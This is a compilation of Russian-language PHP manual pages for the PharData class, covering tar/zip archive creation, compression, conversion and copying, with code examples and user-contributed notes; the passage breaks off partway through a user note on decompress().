public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixed
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): string
public DirectoryIterator::getFilename(): string
public DirectoryIterator::isDot(): bool
public DirectoryIterator::key(): mixed
public DirectoryIterator::next(): void
public DirectoryIterator::rewind(): void
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): string
public DirectoryIterator::valid(): bool
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

Содержание

  • PharData::addEmptyDir — Добавить пустую директорию в tar/zip-архив
  • PharData::addFile — Добавить существующие файлы к tar/zip-архиву
  • PharData::addFromString — Добавляет файл из строки в архив tar/zip
  • PharData::buildFromDirectory — Создаёт tar/zip-архив из файлов в директории
  • PharData::buildFromIterator — Создание tar/zip-архива с помощью итератора
  • PharData::compress — Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
  • PharData::compressFiles — Сжать все файлы в текущем tar/zip-архиве
  • PharData::__construct — Конструктор объекта PharData
  • PharData::convertToData — Конвертация phar-архива в незапускаемый tar/zip-архив
  • PharData::convertToExecutable — Конвертация tar/zip-архива с данными в запускаемый phar-архив
  • PharData::copy — Скопировать файл из tar/zip-архива в новый файл внутри него же
  • PharData::decompress — Распаковать весь Phar-архив
  • PharData::decompressFiles — Распаковать все файлы в текущем zip-архиве
  • PharData::delMetadata — Удалить глобальные метаданные для zip-архива
  • PharData::delete — Удалить файл из tar/zip-архива
  • PharData::__destruct — Уничтожает неисполняемый объект архива tar или zip
  • PharData::extractTo — Извлечь содержимое tar/zip-архива в директорию
  • PharData::isWritable — Проверить, можно ли модифицировать tar/zip-архив
  • PharData::offsetSet — Изменение содержимого файла
  • PharData::offsetUnset — Удалить файл из tar/zip-архива
  • PharData::setAlias — Функция заглушка (Phar::setAlias нельзя использовать для PharData)
  • PharData::setDefaultStub — Функция заглушка (Phar::setDefaultStub нельзя использовать для PharData)
  • PharData::setMetadata — Установить метаданные phar-архива
  • PharData::setSignatureAlgorithm — Установить алгоритм подписания phar-архива и применение его
  • PharData::setStub — Функция заглушка (Phar::setStub нельзя использовать для PharData)

User Contributed Notes

There are no user contributed notes for this page.


Добавить пустую директорию в tar/zip-архив

  • « PharData
  • PharData::addFile »
  • PHP Manual
  • PharData
  • Добавить пустую директорию в tar/zip-архив

PharData::addEmptyDir

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::addEmptyDir — Добавить пустую директорию в tar/zip-архив

Описание

public PharData::addEmptyDir(string $directory): void

С помощью этого места можно создать директорию по пути dirname. Этот метод аналогичен ZipArchive::addEmptyDir().

Список параметров

directory

Путь создаваемой директории

Возвращаемые значения

Ничего не возвращает. В случае ошибок выбрасывает исключение.

Примеры

Пример #1 Пример использования PharData::addEmptyDir()

<?php
try {
$a = new PharData('/path/to/my.tar');

$a->addEmptyDir('/full/path/to/file');
// показывает, как хранится файл
$b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
// обрабатываем ошибки
}
?>

Смотрите также

  • Phar::addEmptyDir() - Добавляет в phar-архив пустую директорию
  • PharData::addFile() - Добавить существующие файлы к tar/zip-архиву
  • PharData::addFromString() - Добавляет файл из строки в архив tar/zip

User Contributed Notes

There are no user contributed notes for this page.


Добавить существующие файлы к tar/zip-архиву

  • « PharData::addEmptyDir
  • PharData::addFromString »
  • PHP Manual
  • PharData
  • Добавить существующие файлы к tar/zip-архиву

PharData::addFile

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::addFile — Добавить существующие файлы к tar/zip-архиву

Описание

public PharData::addFile(string $filename, ?string $localName = null): void

С помощью этого метода можно добавить к архиву любые файлы или URL. Если задан опциональный параметр localname, то файл будет добавлен в архив с указанным именем, иначе будет использовано оригинальное имя из параметра file. Для URL локальное имя должно быть указано в обязательном порядке, иначе будет выброшено исключение. Метод аналогичен ZipArchive::addFile().

Список параметров

filename

Полный или относительный путь до файла на диске.

localName

Путь, по которому файл необходимо добавить в архив.

Возвращаемые значения

Ничего не возвращает, а в случае возникновения ошибки выбрасывает исключение.

Список изменений

Версия | Описание
8.0.0 | localName теперь допускает значение null.

Примеры

Пример #1 Пример использования PharData::addFile()

<?php
try {
$a = new PharData('/path/to/my.tar');

$a->addFile('/full/path/to/file');
// добавление файла
$b = $a['full/path/to/file']->getContent();

$a->addFile('/full/path/to/file', 'my/file.txt');
$c = $a['my/file.txt']->getContent();

// добавление URL
$a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
// обработка ошибок
}
?>

Примечания

Замечание: PharData::addFile(), PharData::addFromString() and PharData::offsetSet() save a new phar archive each time they are called. If performance is a concern, PharData::buildFromDirectory() or PharData::buildFromIterator() should be used instead.

Смотрите также

  • PharData::offsetSet() - Изменение содержимого файла
  • Phar::addFile() - Добавляет в phar-архив файл из файловой системы
  • PharData::addFromString() - Добавляет файл из строки в архив tar/zip
  • PharData::addEmptyDir() - Добавить пустую директорию в tar/zip-архив

User Contributed Notes

There are no user contributed notes for this page.


Добавляет файл из строки в архив tar/zip

  • « PharData::addFile
  • PharData::buildFromDirectory »
  • PHP Manual
  • PharData
  • Добавляет файл из строки в архив tar/zip

PharData::addFromString

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::addFromString — Добавляет файл из строки в архив tar/zip

Описание

public PharData::addFromString(string $localName, string $contents): void

Этот метод позволяет создать внутри архива файл с заданным текстом. Файл будет сохранён по пути localname. Этот метод аналогичен ZipArchive::addFromString().

Список параметров

localName

Путь создаваемого файла.

contents

Содержимое файла в виде строки

Возвращаемые значения

Ничего не возвращает, в случае возникновения ошибки выбрасывает исключение.

Примеры

Пример #1 Пример использования PharData::addFromString()

<?php
try {
$a = new PharData('/path/to/my.tar');

$a->addFromString('path/to/file.txt', 'my simple file');
$b = $a['path/to/file.txt']->getContent();

// Для добавления содержимого через потоковую обёртку для больших файлов, используйте offsetSet()
$c = fopen('/path/to/hugefile.bin');
$a['largefile.bin'] = $c;
fclose($c);
} catch (Exception $e) {
// обработка ошибок
}
?>

Примечания

Замечание: PharData::addFile(), PharData::addFromString() and PharData::offsetSet() save a new phar archive each time they are called. If performance is a concern, PharData::buildFromDirectory() or PharData::buildFromIterator() should be used instead.

Смотрите также

  • PharData::offsetSet() - Изменение содержимого файла
  • Phar::addFromString() - Добавляет в phar-архив файл из строки
  • PharData::addFile() - Добавить существующие файлы к tar/zip-архиву
  • PharData::addEmptyDir() - Добавить пустую директорию в tar/zip-архив

User Contributed Notes

There are no user contributed notes for this page.


Создаёт tar/zip-архив из файлов в директории

  • « PharData::addFromString
  • PharData::buildFromIterator »
  • PHP Manual
  • PharData
  • Создаёт tar/zip-архив из файлов в директории

PharData::buildFromDirectory

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::buildFromDirectory — Создаёт tar/zip-архив из файлов в директории

Описание

public PharData::buildFromDirectory(string $directory, string $pattern = ""): array

Наполняет tar/zip-архив содержимым директории. Второй опциональный параметр является регулярным выражением (pcre). Файлы, имена которых подходят под регулярное выражение, будут включены в архив, а все остальные нет. Если при создании архива нужна большая избирательность, то используйте метод PharData::buildFromIterator().

Список параметров

directory

Полный или относительный путь до директории, файлы из которой будут добавлены в архив.

pattern

Регулярное выражение, определяющее, какие файлы необходимо включать в архив.

Возвращаемые значения

Phar::buildFromDirectory() возвращает ассоциативный массив, связывающий путь к файлу внутри архива с полным путём к файлу на диске или false в случае возникновения ошибки.

Ошибки

Выбрасывает исключение BadMethodCallException, если не удаётся инициализировать внутренние итераторы директории. Исключение PharException выбрасывается при ошибках записи на диск.

Список изменений

Версия | Описание
8.1.0 | PharData::buildFromDirectory() больше не возвращает значение false.

Примеры

Пример #1 Пример использования PharData::buildFromDirectory()

<?php
$phar = new PharData('project.tar');
// добавим все файлы в проект
$phar->buildFromDirectory(dirname(__FILE__) . '/project');

$phar2 = new PharData('project2.zip');
// добавим в проект только .php файлы
$phar2->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
?>

Смотрите также

  • Phar::buildFromDirectory() - Создаёт phar-архив из файлов, расположенных внутри директории
  • PharData::buildFromIterator() - Создание tar/zip-архива с помощью итератора

User Contributed Notes

dan 11-Oct-2019 04:43
buildFromDirectory won't add empty subdirectories on 7.2


Создание tar/zip-архива с помощью итератора

  • « PharData::buildFromDirectory
  • PharData::compress »
  • PHP Manual
  • PharData
  • Создание tar/zip-архива с помощью итератора

PharData::buildFromIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::buildFromIterator — Создание tar/zip-архива с помощью итератора

Описание

public PharData::buildFromIterator(Traversable $iterator, ?string $baseDirectory = null): array

Наполнение архив tar или zip с помощью итератора. Поддерживаются два типа итераторов: итератор, связывающий файл на диске с файлом внутри архива и итератор в стиле DirectoryIterator, который возвращает объекты SplFileInfo. Для итераторов, возвращающих объекты SplFileInfo, второй параметр является обязательным.

Список параметров

iterator

Итератор, предоставляющий связки ключ=>значение, либо объекты SplFileInfo

baseDirectory

Для итераторов, возвращающих объекты SplFileInfo, часть полного пути добавляемых файлов, которая будет удаляться из полного пути внутри архива.

Возвращаемые значения

PharData::buildFromIterator() возвращает ассоциативный массив, связывающий путь к файлу внутри архива с полным путём к файлу на диске.

Ошибки

Метод выбрасывает исключение UnexpectedValueException, если итератор вернул некорректное значение, например целочисленный ключ вместо строки. Исключение BadMethodCallException выбрасывается когда задан итератор, возвращающий объекты SplFileInfo без задания параметра baseDirectory. В случае проблем с записью на диск бросается исключение PharException.

Список изменений

Версия | Описание
8.1.0 | PharData::buildFromIterator() больше не возвращает значение false.
8.0.0 | baseDirectory теперь допускает значение null.

Примеры

Пример #1 Пример использования PharData::buildFromIterator() с SplFileInfo

Для большинства tar/zip-архивов, структура отражает имеющееся дерево директорий на файловой системе. К примеру, для создания tar/zip-архива, содержащего следующую структуру директорий и файлов:

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

Нужно использовать такой код, для создания архива "project.tar":

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new RecursiveDirectoryIterator('/path/to/project')),
'/path/to/project');
?>

Файл project.tar можно использовать сразу же после его создания. PharData::buildFromIterator() не производит настройки сжатия или добавления метаданных. Эти действия необходимо произвести самостоятельно, после создания архива.

Интересное замечание: PharData::buildFromIterator() также можно использовать для копирования контента уже существующего phar, tar или zip-архива, так как объект PharData наследует от DirectoryIterator:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
new RecursiveIteratorIterator(
new Phar('/path/to/anotherphar.phar')),
'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Пример #2 Пример использования PharData::buildFromIterator() с другим итератором

Можно использовать итераторы, возвращающие связку "ключ" => "значение", например ArrayIterator:

<?php
$phar = new PharData('project.tar');
$phar->buildFromIterator(
new ArrayIterator(
array(
'internal/file.php' => dirname(__FILE__) . '/somefile.php',
'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
)));
?>

Смотрите также

  • Phar::buildFromIterator() - Создаёт phar-архив из итератора

User Contributed Notes

cbonnissent 11-Sep-2014 07:41
The code in the first exemple doesn't work properly without the flag  FilesystemIterator::SKIP_DOTS in the RecursiveDirectoryIterator (on a linux filesystem).

So, to build a tar with a phar, I do (with two level of iteration here) :

            $pharTar = new \PharData($contentTar.".tar");
            $firstLevelIterator = new \DirectoryIterator($this->inputPath);
            foreach ($firstLevelIterator as $fileInfo) {
                /* @var \SplFileInfo $fileInfo */
                if (in_array($fileInfo->getFilename(), $allowedDirectory)) {
                    $recursiveDirectoryIterator = new \RecursiveDirectoryIterator(
                        $this->inputPath . DIRECTORY_SEPARATOR . $fileInfo->getFilename(), \FilesystemIterator::SKIP_DOTS);
                    $pharTar->buildFromIterator(new \RecursiveIteratorIterator($recursiveDirectoryIterator), $this->inputPath);
                }
            }


Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2

  • « PharData::buildFromIterator
  • PharData::compressFiles »
  • PHP Manual
  • PharData
  • Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2

PharData::compress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::compress — Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2

Описание

public PharData::compress(int $compression, ?string $extension = null): ?PharData

Для tar-архивов, этот метод произведёт сжатие всего архива с помощью gzip или bzip2. Результирующий файл можно распаковать с помощью команд gunzip или bunzip, либо использовать напрямую через модуль Phar.

Для zip-архивов этот метод выбросит исключение. Для gzip-сжатия должен быть доступен модуль zlib. Для bzip2-сжатия должен быть доступен модуль bzip2.

Этот метод переименовывает архив, добавляя к его имени расширение .gz, .bz2 или наоборот, убирающее его, если параметр типа сжатия задан как Phar::NONE. Также можно явно указать, какое расширение будет иметь файл.

Список параметров

compression

Одна из констант: Phar::GZ, Phar::BZ2, или Phar::NONE для отключения компрессии.

extension

По умолчанию файлу назначится расширение .tar.gz или .tar.bz2 для сжатия и .tar, если сжатие отключено.

Возвращаемые значения

Возвращает объект PharData в случае успешного выполнения или null в случае возникновения ошибки.

Ошибки

Выбрасывает исключение BadMethodCallException, если недоступен модуль zlib или выключен модуль bzip2.

Список изменений

Версия | Описание
8.0.0 | extension теперь допускает значение null.

Примеры

Пример #1 Пример использования PharData::compress()

<?php
$p = new PharData('/path/to/my.tar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // copies to /path/to/my.tar.gz
$p2 = $p->compress(Phar::BZ2); // copies to /path/to/my.tar.bz2
$p3 = $p2->compress(Phar::NONE); // exception: /path/to/my.tar already exists
?>

Смотрите также

  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия

User Contributed Notes

Christopher Marshall 05-Apr-2016 09:57
This is a very irritating bug. You can use this to get around it though:

$data = 'some.test.string';
$phar = new PharData('test.tar');

$phar->compress(Phar::GZ, substr($data, strpos($data, '.') + 1));
c6h1206free at gmail dot com 23-Feb-2016 04:59
This method destroys everything after the first dot in your filename and replaces it with the zip extension (.tar.gz, etc)

Example:

<?php

$tarfile = "2.5.0.0-RC1.tar";
$pd = new \PharData($tarfile);
$pd->buildFromDirectory("/path/to/contents");
$pd->compress(\Phar::GZ);

?>

Ends up with a file named "2.tar.gz"


Сжать все файлы в текущем tar/zip-архиве

  • « PharData::compress
  • PharData::__construct »
  • PHP Manual
  • PharData
  • Сжать все файлы в текущем tar/zip-архиве

PharData::compressFiles

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::compressFiles — Сжать все файлы в текущем tar/zip-архиве

Описание

public PharData::compressFiles(int $compression): void

Для tar-архивов данный метод выбросит исключение BadMethodCallException, так как сжатие отдельных файлов в tar-архиве не поддерживается форматом файла. Используйте PharData::compress() для сжатия всего tar-архива.

Для Zip-архивов этот метод сожмёт все файлы используя заданный тип сжатия. Для корректной работы требуются включённые модули zlib или bzip2, в зависимости от типа сжатия. Также, если некоторые файлы уже были сжаты, то необходимо, чтобы соответствующий модуль был включён, иначе не удастся обработать.

Список параметров

compression

Одна из констант: Phar::GZ, Phar::BZ2 или Phar::NONE, для отмены сжатия.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение BadMethodCallException если выключена INI-опция phar.readonly, если отсутствует необходимый модуль zlib или bzip2.

Примеры

Пример #1 Пример использования PharData::compressFiles()

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
var_dump($file->getFileName());
var_dump($file->isCompressed());
var_dump($file->isCompressed(Phar::BZ2));
var_dump($file->isCompressed(Phar::GZ));
}
?>

Результат выполнения данного примера:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • PharData::decompressFiles() - Распаковать все файлы в текущем zip-архиве
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • PharData::compress() - Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
  • PharData::decompress() - Распаковать весь Phar-архив

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта PharData

  • « PharData::compressFiles
  • PharData::convertToData »
  • PHP Manual
  • PharData
  • Конструктор объекта PharData

PharData::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::__construct — Конструктор объекта PharData

Описание

public PharData::__construct(
string $filename,
int $flags = FilesystemIterator::SKIP_DOTS | FilesystemIterator::UNIX_PATHS,
?string $alias = null,
int $format = 0
)

Список параметров

filename

Путь либо к существующему tar/zip-архиву, либо к вновь создаваемому

flags

Флаги для передачи родительскому классу Phar RecursiveDirectoryIterator.

alias

Псевдоним, который необходимо назначить phar-архиву для использования в потоковых обёртках.

format

Одна из констант формата файлов доступная для класса Phar.

Ошибки

Выбрасывает исключение BadMethodCallException, если вызван дважды; Выбрасывает исключение UnexpectedValueException, если Phar-архив невозможно открыть.

Примеры

Пример #1 Пример использования PharData::__construct()

<?php
try {
$p = new PharData('/path/to/my.tar', Phar::CURRENT_AS_FILEINFO | Phar::KEY_AS_FILENAME);
} catch (UnexpectedValueException $e) {
die('Не удалось открыть my.tar');
} catch (BadMethodCallException $e) {
echo 'Технически, это никогда не произойдёт';
}
echo file_get_contents('phar:///path/to/my.tar/example.txt');
?>

User Contributed Notes

There are no user contributed notes for this page.


Конвертация phar-архива в незапускаемый tar/zip-архив

  • « PharData::__construct
  • PharData::convertToExecutable »
  • PHP Manual
  • PharData
  • Конвертация phar-архива в незапускаемый tar/zip-архив

PharData::convertToData

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::convertToData — Конвертация phar-архива в незапускаемый tar/zip-архив

Описание

public PharData::convertToData(?int $format = null, ?int $compression = null, ?string $extension = null): ?PharData

Этот метод используется для преобразования незапускаемого tar/zip-архива в другой незапускаемый формат.

Если не указано никаких изменений, то будет выброшено исключение BadMethodCallException. Этот метод можно использовать для преобразования tar-архива в zip-архив и наоборот. Несмотря на то что, что можно изменить сжатие для tar-архива с помощью этого метода, для этих целей лучше использовать метод PharData::compress().

В случае успешного выполнения будет создан новый архив на диске и возвращён объект PharData. Старый архив удаляться не будет.

Список параметров

format

Одна из констант: Phar::TAR или Phar::ZIP. Если задать как null, то будет использован текущий формат.

compression

Одна из констант: Phar::NONE (для отключения сжатия всего архива), Phar::GZ (для zlib-сжатия), Phar::BZ2 (для bzip-сжатия).

extension

Этот параметр используется для явного указания расширения нового архива. Обратите внимание, что для незапускаемых архивов ни в коем случае нельзя допускать появление подстроки .phar в любом месте имени файла.

По умолчанию для tar-архивов используются расширения: .tar, .tar.gz и .tar.bz2. Для zip-архивов: .zip.

Возвращаемые значения

Метод возвращает объект PharData или null в случае возникновения ошибки.

Ошибки

Метод выбрасывает исключениеBadMethodCallException когда не может произвести сжатие, когда задан неизвестный метод сжатия, для архива включена буферизация с помощью Phar::startBuffering(), и не отключена при помощи Phar::stopBuffering(). Исключение PharException выбрасывается при любых проблемах создания phar-архива.

Список изменений

Версия | Описание
8.0.0 | format, compression и extension теперь допускают значение null.

Примеры

Пример #1 Пример использования PharData::convertToData()

Использование PharData::convertToData():

<?php
try {
$tarphar = new PharData('myphar.tar');
// обратите внимание, что myphar.tar *не* удаляется
// создаём myphar.zip
$zip = $tarphar->convertToData(Phar::ZIP);
// создаём myphar.tbz
$tgz = $zip->convertToData(Phar::TAR, Phar::BZ2, '.tbz');
// создаём myphar.phar.tgz
$phar = $tarphar->convertToData(Phar::PHAR); // выбрасывает исключение
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::convertToExecutable() - Конвертирует phar-архив в другой исполняемый формат файла
  • Phar::convertToData() - Конвертирует phar-архив в неисполняемый tar- или zip-файл
  • PharData::convertToExecutable() - Конвертация tar/zip-архива с данными в запускаемый phar-архив

User Contributed Notes

There are no user contributed notes for this page.


Конвертация tar/zip-архива с данными в запускаемый phar-архив

  • « PharData::convertToData
  • PharData::copy »
  • PHP Manual
  • PharData
  • Конвертация tar/zip-архива с данными в запускаемый phar-архив

PharData::convertToExecutable

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::convertToExecutable — Конвертация tar/zip-архива с данными в запускаемый phar-архив

Описание

public PharData::convertToExecutable(?int $format = null, ?int $compression = null, ?string $extension = null): ?Phar

Замечание:

Для корректной работы с объектами Phar этому методу необходима установка значения php.ini phar.readonly в 0. В противном случае, будет выброшено исключение PharException.

Этот метод используется для конвертации незапускаемого tar/zip-архива а запускаемый phar-архив. Может быть использован любой из трёх запускаемых форматов (phar, tar или zip). Также допустимо сжатие архива целиком.

Если изменения не указаны, этот метод бросает исключение BadMethodCallException.

В случае успешного выполнения, этот метод создаёт новый архив на диске и возвращает объект Phar. Старый архив остаётся нетронутым.

Список параметров

format

Одна из констант: Phar::PHAR, Phar::TAR, или Phar::ZIP. Если задано null, то будет сохранён текущий формат.

compression

Одна из констант: Phar::NONE (без сжатия всего архива), Phar::GZ (zlib сжатие), Phar::BZ2 (bzip сжатие).

extension

Этот параметр используется для явного задания расширения для нового архива. Обратите внимание, что для того, чтобы обрабатываться как phar-архив, файлы должны в своём расширении иметь .phar.

При конвертации в phar-архива, расширение по умолчанию .phar, .phar.gz или .phar.bz2, в зависимости от заданного типа сжатия. Для tar-архивов, расширение по умолчанию .phar.tar, .phar.tar.gz, и .phar.tar.bz2. Для zip-архивов расширение по умолчанию .phar.zip.

Возвращаемые значения

Этот метод возвращает объект Phar и null в случае возникновения ошибки.

Ошибки

Метод выбрасывает исключение BadMethodCallException если не может произвести сжатие, либо если задан неизвестный алгоритм сжатия, для архива включена буферизация с помощью Phar::startBuffering(), а метод Phar::stopBuffering() не вызывался. Выбрасывается исключение UnexpectedValueException, если запись запрещена. И выбрасывается PharException, если возникли проблемы записи на диск.

Список изменений

Версия | Описание
8.0.0 | format, compression и localName теперь допускают значение null.

Примеры

Пример #1 Пример использования PharData::convertToExecutable()

Используем PharData::convertToExecutable():

<?php
try {
$tarphar = new PharData('myphar.tar');
// конвертируем в формат phar
// обратите внимание, что myphar.tar *не* удаляется
$phar = $tarphar->convertToExecutable(Phar::PHAR); // creates myphar.phar
$phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
// создаём myphar.phar.tgz
$compressed = $tarphar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {
// обработка ошибок
}
?>

Смотрите также

  • Phar::convertToExecutable() - Конвертирует phar-архив в другой исполняемый формат файла
  • Phar::convertToData() - Конвертирует phar-архив в неисполняемый tar- или zip-файл
  • PharData::convertToData() - Конвертация phar-архива в незапускаемый tar/zip-архив

User Contributed Notes

zoddo.ino[at]gmaildotcom 15-Nov-2014 06:53
It doesn't work

Fatal error: Uncaught exception 'UnexpectedValueException' with message 'Cannot convert phar archive "C:/xxxxxxxxxxx.zip", unable to open entry "sub-directory/" contents: phar error: internal corruption of zip-based phar "C:/xxxxxxxxxxx.zip" (local header of file sub-directory/" does not match central directory)' in C:\xxxxxxxxxxx.php on line 5


Скопировать файл из tar/zip-архива в новый файл внутри него же

  • « PharData::convertToExecutable
  • PharData::decompress »
  • PHP Manual
  • PharData
  • Скопировать файл из tar/zip-архива в новый файл внутри него же

PharData::copy

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::copy — Скопировать файл из tar/zip-архива в новый файл внутри него же

Описание

public PharData::copy(string $from, string $to): bool

Копирует файл из tar/zip-архива в новый файл внутри него же. Это объектно-ориентированная альтернатива для copy() с потоковой обёрткой phar.

Список параметров

from

to

Возвращаемые значения

Возвращает true в случае успешного выполнения. Но лучше использовать механизм перехвата исключений для контроля успешности.

Ошибки

Выбрасывает исключение UnexpectedValueException, если копируемый файл не отсутствует, новый файл уже существует, запись запрещена или возникли проблемы с открытием чтением исходного файла. В случае проблем с записью на диск бросается исключение PharException.

Примеры

Пример #1 Пример использования PharData::copy()

В примере показано использование PharData::copy() и аналог с использованием потоковой обёртки. Главное различие между этими подходами - обработка ошибок. Все методы PharData выбрасывают исключения, тогда как потоковые обёртки используют функцию trigger_error().

<?php
try {
$phar = new PharData('myphar.tar');
$phar['a'] = 'hi';
$phar->copy('a', 'b');
echo $phar['b']; // выводит "phar://myphar.tar/b"
} catch (Exception $e) {
// Обработка ошибок
}

// Аналог с использованием потоковых обёрток.
// В случае проблем вместо исключения вызывается ошибка уровня E_WARNINGS
copy('phar://myphar.tar/a', 'phar//myphar.tar/c');
echo file_get_contents('phar://myphar.tar/c'); // выводит "hi"
?>

User Contributed Notes

There are no user contributed notes for this page.


Распаковать весь Phar-архив

  • « PharData::copy
  • PharData::decompressFiles »
  • PHP Manual
  • PharData
  • Распаковать весь Phar-архив

PharData::decompress

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 2.0.0)

PharData::decompress — Распаковать весь Phar-архив

Описание

public PharData::decompress(?string $extension = null): ?PharData

Для архивов типа tar, этот метод распаковывает весь архив.

Для архивов типа Zip этот метод выбросит исключение. Для разжатия gzip-архивов должен быть включён модуль zlib, а для bzip2, соответственно, модуль bzip2.

Также этот метод автоматически меняет расширение файла, по умолчанию .tar. Расширение можно указать явно с помощью параметра extension.

Список параметров

extension

По умолчанию при распаковке файлу меняется расширение на .tar. С помощью этого параметра можно явно указать новое расширение. Будьте осторожны, только запускаемые архивы могут содержать .phar в своих именах.

Возвращаемые значения

Возвращает объект типа PharData в случае успешного выполнения и null в случае возникновения ошибки.

Ошибки

Выбрасывает исключение BadMethodCallException, если отсутствует модуль, необходимый для распаковки: zlib или bzip2.

Список изменений

Версия | Описание
8.0.0 | extension теперь допускает значение null.

Примеры

Пример #1 Пример использования PharData::decompress()

<?php
$p = new PharData('/path/to/my.tar.gz');
$p->decompress(); // creates /path/to/my.tar
?>

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • PharFileInfo::decompress() - Разжимает текущий файл
  • PharData::compress() - Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • PharData::compress() - Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • PharData::compressFiles() - Сжать все файлы в текущем tar/zip-архиве
  • PharData::decompressFiles() - Распаковать все файлы в текущем zip-архиве

User Contributed Notes

pttlens at gmail dot com 15-Nov-2018 08:25
If filename contains multiple dots(.), you can preserve other parts by following code (example1).

Example #1 (Expected)
<?php
$filename = "abc.xyz.tar.gz";
$p = new PharData($filename);
$exts = explode('.', $filename);
array_shift($exts);
array_pop($exts);
$ext = implode('.', $exts);
$p->decompress($ext); # result filename: abc.xyz.tar
?>

Example #2 (might be unexpected)
<?php
$filename = "abc.xyz.tar.gz";
$p = new PharData($filename);
